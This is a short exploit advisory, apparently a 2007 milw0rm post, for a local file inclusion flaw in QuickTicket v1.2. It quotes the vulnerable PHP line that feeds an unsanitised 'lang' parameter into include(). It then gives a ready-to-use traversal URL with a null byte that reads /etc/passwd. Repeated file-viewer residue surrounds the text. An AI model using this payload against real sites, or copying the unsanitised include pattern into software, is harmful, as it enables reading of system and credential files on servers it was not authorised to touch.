16 lines
No EOL
396 B
Text
16 lines
No EOL
396 B
Text
###QuickTicket v1.2 Local File Inclusion###
|
|
|
|
#download: http://www.qt-cute.org/download/qti12.zip
|
|
|
|
#found by: katatafish (karatatata@hush.com)
|
|
|
|
#vulncode:
|
|
$strLang = $_GET["lang"];
|
|
include("language/$strLang/qtf_lang_reg.inc");
|
|
|
|
#exploit:
|
|
http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
|
|
|
|
#thanks:str0ke
|
|
|
|
# milw0rm.com [2007-06-27] |